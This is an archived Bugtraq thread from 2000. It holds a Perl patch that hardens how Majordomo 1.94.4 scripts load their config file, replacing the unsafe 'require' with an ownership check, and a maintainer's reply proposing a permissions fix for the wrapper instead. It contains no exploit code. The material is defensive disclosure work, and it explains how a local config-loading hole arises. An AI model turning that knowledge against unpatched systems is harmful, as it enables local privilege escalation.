  Use by cd'ing to Majordomo HOME, and issuing
"patch < majorodomo-1.94.4.patch". Be sure to "chmod a-x *orig" after.

Dale V. Clark                                             clark@arsc.edu
Systems Analyst                                             907-474-5114
Arctic Region Supercomputing Center                         www.arsc.edu

======================== majordomo-1.94.4.patch ========================
--- archive2.pl	Mon Jan  3 14:35:32 2000
+++ archive2.pl.new	Mon Jan  3 14:36:16 2000
@@ -54,10 +54,23 @@
     shift(@ARGV);
     shift(@ARGV);
 }
-if (! -r $cf) {
-    die("$cf not readable; stopped");
+
+if (not sysopen CONFIG,$cf,O_RDONLY)
+{
+  die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ":
$!" : '';
 }
-require "$cf";
+elsif ((stat CONFIG)[4] != $>)
+{
+  die qq|Config file "$cf" not owned by effective UID.\n|;
+}
+elsif (eval(join '',<CONFIG>),$@)
+{
+  die qq|Unable to eval "$cf": $@.\n|;
+}
+else
+{
+  close CONFIG;
+}

 # All these should be in the standard PERL library
 unshift(@INC, $homedir);
--- bounce-remind	Mon Jan  3 14:35:32 2000
+++ bounce-remind.new	Mon Jan  3 14:38:16 2000
@@ -24,10 +24,23 @@
     shift(@ARGV);
     shift(@ARGV);
 }
-if (! -r $cf) {
-    die("$cf not readable; stopped");
+
+if (not sysopen CONFIG,$cf,O_RDONLY)
+{
+  die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ":
$!" : '';
 }
-require "$cf";
+elsif ((stat CONFIG)[4] != $>)
+{
+  die qq|Config file "$cf" not owned by effective UID.\n|;
+}
+elsif (eval(join '',<CONFIG>),$@)
+{
+  die qq|Unable to eval "$cf": $@.\n|;
+}
+else
+{
+  close CONFIG;
+}

 # Go to the home directory specified by the .cf file
 chdir("$homedir");
--- config-test	Mon Jan  3 14:35:32 2000
+++ config-test.new	Mon Jan  3 14:58:05 2000
@@ -119,10 +119,21 @@

 $cf = $ARGV[0] || $ENV{'MAJORDOMO_CF'};

-if (eval "require '$cf'") {
-    &good("'require'd $cf okay.");
-} else {
-    &bad("something's wrong with $cf: $@");
+if (not sysopen CONFIG,$cf,O_RDONLY)
+{
+  die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ":
$!" : '';
+}
+elsif ((stat CONFIG)[4] != $>)
+{
+  die qq|Config file "$cf" not owned by effective UID.\n|;
+}
+elsif (eval(join '',<CONFIG>),$@)
+{
+  die qq|Unable to eval "$cf": $@.\n|;
+}
+else
+{
+  close CONFIG;
 }

 foreach (@requires) {
--- digest	Mon Jan  3 14:35:32 2000
+++ digest.new	Mon Jan  3 15:07:34 2000
@@ -315,7 +315,23 @@
 		# Read and execute the .cf file
 		$cf = $opt_c || $ENV{"MAJORDOMO_CF"} ||
 		    "/etc/majordomo.cf";
-		require "$cf";
+
+if (not sysopen CONFIG,$cf,O_RDONLY)
+{
+  die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ":
$!" : '';
+}
+elsif ((stat CONFIG)[4] != $>)
+{
+  die qq|Config file "$cf" not owned by effective UID.\n|;
+}
+elsif (eval(join '',<CONFIG>),$@)
+{
+  die qq|Unable to eval "$cf": $@.\n|;
+}
+else
+{
+  close CONFIG;
+}

 		chdir($homedir);

--- majordomo	Mon Jan  3 13:37:13 2000
+++ majordomo.new	Mon Jan  3 14:15:29 2000
@@ -40,11 +40,23 @@
 	die "Unknown argument $ARGV[0]\n";
     }
 }
-if (! -r $cf) {
-    die("$cf not readable; stopped");
-}

-require "$cf";
+if (not sysopen CONFIG,$cf,O_RDONLY)
+{
+  die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ":
$!" : '';
+}
+elsif ((stat CONFIG)[4] != $>)
+{
+  die qq|Config file "$cf" not owned by effective UID.\n|;
+}
+elsif (eval(join '',<CONFIG>),$@)
+{
+  die qq|Unable to eval "$cf": $@.\n|;
+}
+else
+{
+  close CONFIG;
+}

 # Go to the home directory specified by the .cf file
 chdir("$homedir") || die "chdir to $homedir failed, $!\n";
--- request-answer	Mon Jan  3 14:35:32 2000
+++ request-answer.new	Mon Jan  3 15:09:02 2000
@@ -20,10 +20,23 @@
     shift(@ARGV);
     shift(@ARGV);
 }
-if (! -r $cf) {
-    die("$cf not readable; stopped");
+
+if (not sysopen CONFIG,$cf,O_RDONLY)
+{
+  die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ":
$!" : '';
 }
-require "$cf";
+elsif ((stat CONFIG)[4] != $>)
+{
+  die qq|Config file "$cf" not owned by effective UID.\n|;
+}
+elsif (eval(join '',<CONFIG>),$@)
+{
+  die qq|Unable to eval "$cf": $@.\n|;
+}
+else
+{
+  close CONFIG;
+}

 chdir($homedir) || die("Can't chdir(\"$homedir\"): $!");
 unshift(@INC, $homedir);
--- resend	Mon Jan  3 15:14:49 2000
+++ resend.new	Mon Jan  3 15:16:01 2000
@@ -56,7 +56,7 @@
 if ($ARGV[0] =~ /^\@/) {
     $fn = shift(@ARGV);
     $fn =~ s/^@//;
-    open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");
+    sysopen(AV, $fn, O_RDONLY) || die("sysopen(AV, \"$fn\", O_RDONLY):
$!\nStopped");
     undef($/);	# set input field separator
     $av = <AV>;	# read whole file into string
     close(AV);
@@ -84,11 +84,23 @@
 # Despite not having a place to send the remains of the body,
 # it would be nice to send a message to root or postmaster, at least...
 #
-if (! -r $cf) {
-    die("$cf not readable; stopped");
-}

-require "$cf";
+if (not sysopen CONFIG,$cf,O_RDONLY)
+{
+  die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ":
$!" : '';
+}
+elsif ((stat CONFIG)[4] != $>)
+{
+  die qq|Config file "$cf" not owned by effective UID.\n|;
+}
+elsif (eval(join '',<CONFIG>),$@)
+{
+  die qq|Unable to eval "$cf": $@.\n|;
+}
+else
+{
+  close CONFIG;
+}

 chdir($homedir) || die("Can't chdir(\"$homedir\"): $!");
(4639854) ------------------------------------------(Ombruten)
4651300 2000-01-07  19:22  /33 rader/ Postmaster

Mottagare: Bugtraq (import) <9217>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Dispatcher: imput version 991025(IM133)
Message-ID:  <20000107162732N.cwilson@unknown-domain>
Date:         Fri, 7 Jan 2000 16:27:32 +0100
Reply-To: Chan Wilson <cwilson@NEU.SGI.COM>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Chan Wilson <cwilson@NEU.SGI.COM>
X-To:         bugtraq@securityfocus.com
X-cc:         cwilson@dust.corp.sgi.com
To: BUGTRAQ@SECURITYFOCUS.COM

>   The following patch, built upon code and suggestions submitted by
> Henrik Edlund, Henrik Nordstrom, and Andrew Brown, is intended to render
> safe the config file requires, in the seven scripts which use them, in
> the Majordomo 1.94.4 home directory. It also incorporates Todd Miller's
> patch of Dec. 29.

This doesn't address the problem on Unixen that allow one to 'give
away' files.  Nor is it compatible with the philosophy that majordomo
1.x should continue to run under perl4.

The proper fix appears to be simply 'chmod 0750 wrapper', perhaps
along with setting the group owner of wrapper to the same as the MTA.

And, of course, restricting access to the majordomo server.

--Chan
	majordomo maintainer.
(4651300) ------------------------------------------